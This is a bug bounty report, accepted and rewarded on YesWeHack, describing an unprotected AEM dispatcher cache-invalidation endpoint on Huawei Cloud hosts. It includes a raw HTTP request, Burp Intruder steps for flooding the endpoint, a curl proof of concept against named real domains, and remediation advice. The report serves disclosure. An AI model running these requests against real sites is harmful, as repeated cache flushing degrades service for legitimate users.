

YES WE H/CK

#YWH-PGM2368-111

ACCEPTED

REWARD : €100.00

## / Invalidate / Flush Cached Pages From AEM Missing dispatcher filters - External access not blocked for "/dispatcher/invalidate.cache"

HUAWEI CLOUD BUG BOUNTY PROGRAM

SUBMITTED BY ADITYASHENDE ON 2023-06-30

REPORT DETAILS	
BUG TYPE	Improper Access Control - Generic (CWE-284)
SCOPE	*.huaweicloud.com (including *.huaweicloud.com/intl/)
ENDPOINT	/content/dam/cloudbu-develop/archive/china/zh-cn/developer/developer-page/css/developer-common.css/dispatcher/invalidate.cache?sttl=1643422755649
SEVERITY	Medium
VULNERABLE PART	path
PART NAME	/content/dam/cloudbu-develop/archive/china/zh-cn/developer/developer-page/css/developer-common.css/dispatcher/invalidate.cache?sttl=1643422755649
PAYLOAD	/dispatcher/invalidate.cache?sttl=1643422755649
TECHNICAL ENVIRONMENT	Ubuntu 22 , Chrome latest
APPLICATION FINGERPRINT	
IP USED	45.115.58.128

CVSS SCORE

5.3

SEVERITY

MEDIUM

VECTOR STRING

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

## BUG DESCRIPTION

### Description

The AEM Dispatcher configuration for the target system lacks proper access control measures. Specifically, the "/allowedClients" property, which should define the specific clients authorized to flush the cache (delete and/or modify/update files) on the server, is not defined. This omission allows unauthorized individuals to remotely access the "/dispatcher/invalidate.cache" endpoint and invalidate or flush the dispatcher cache without any rate limiting or authentication.

### Exploitation

Open GET URL in : <https://res-img3.huaweicloud.com/dispatcher/invalidate.cache>

Use Burp (copy and paste request)

GET /dispatcher/invalidate.cache HTTP/1.1

Host: \$DOMAIN

User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

Connection: close

Accept: /

Accept-Language: en

CQ-Handle: /content

CQ-Path: /content  
Accept-Encoding: gzip  
TEST  
Response  
HTTP/1.1 200 OK  
Connection: close  
Content-Length: 13  
Content-Type: text/html; charset=UTF-8  
Date: Fri, 23 Apr 2021 21:35:28 GMT  
Server: Apache  
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

/ OK

Perform the actual attack:

Just use the previous request and use Burp's Intruder to send the request multiple times (for test proposes I will test with 100)

Configuring Burp Intruder

1. Go to tab 'positions' and choose Attack type as 'Sniper'.
2. Add the \$\$ symbols to the right side of the word "TEST"
3. Go to payload tab and select Numbers as payload type
4. In the Payload Options section, write From: 1, To: 100 and Step: 1
5. Then click on Attack. You will see 100 requests with 200 status responses.

Unauthorized attackers can invalidate/flush dispatcher cache remotely without any rate limiting. If this is done repeatedly it can severely impact the site performance.

### PoC

curl https://res-img3.huaweicloud.com/dispatcher/invalidate.cache : We will receive 200 OK and

/ OK</h1.

### Risk

This vulnerability exposes the target system to potential abuse by malicious actors. Unauthorized individuals can repeatedly invalidate/flush the dispatcher cache, resulting in significant performance degradation for the affected website. The excessive cache invalidation can disrupt normal site operations and lead to a poor user experience for legitimate visitors.

### Remediation

To mitigate this security issue, I strongly recommend implementing the following solution:

Update the AEM Dispatcher configuration for the affected system.  
Define the "/allowedClients" property in the dispatcher configuration file.  
Specify the specific clients that are authorized to flush the cache (delete and/or modify/update files) on the server.  
Refer to the official Adobe Experience Manager documentation for guidance on configuring the dispatcher:  
Documentation: <https://experienceleague.adobe.com/docs/experience-manager-dispatcher/using/configuring/dispatcher-configuration.html?lang=en#limiting-the-clients-that-can-flush-the-cache>

## COMMENTS



ADITYASHENDE ON 2023-06-30 10:21:04



NEW



██████████ ON 2023-07-03 08:59:43



**NEW** → **UNDER REVIEW**



Hello,  
Thanks for your submission  
Your report will be reviewed by our team and updated in a timely manner.  
Regards.



██████████ ON 2023-07-07 10:23:38



**UNDER REVIEW** → **ACCEPTED**



Hello,  
We were able to reproduce the PoC and we decided to accept your report.  
Your report is therefore eligible for a reward – stay tuned.  
Congrats/Cheers,



██████████ ON 2023-07-07 10:28:26



Updated the CVSS score.

**Score** 6.5 → 5.3

**Severity** Medium → Medium



██████████ ON 2023-07-07 10:29:10



**€100.00** and **6 pts** rewarded to **ADITYASHENDE**



Hi,  
Congratulations!  
Your finding is accepted and a bounty is rewarded to you.  
We thank you for your participation in the program and look forward to receiving more reports.



**ADITYASHENDE** ON 2023-07-27 12:26:33



But both domains are different . <https://res-img1.huaweicloud.com/sitemap.xml/dispatcher/invalidate.cache>  
I reported this in current report and another domain is <https://res-img3.huaweicloud.com/sitemap.xml/dispatcher/invalidate.cache>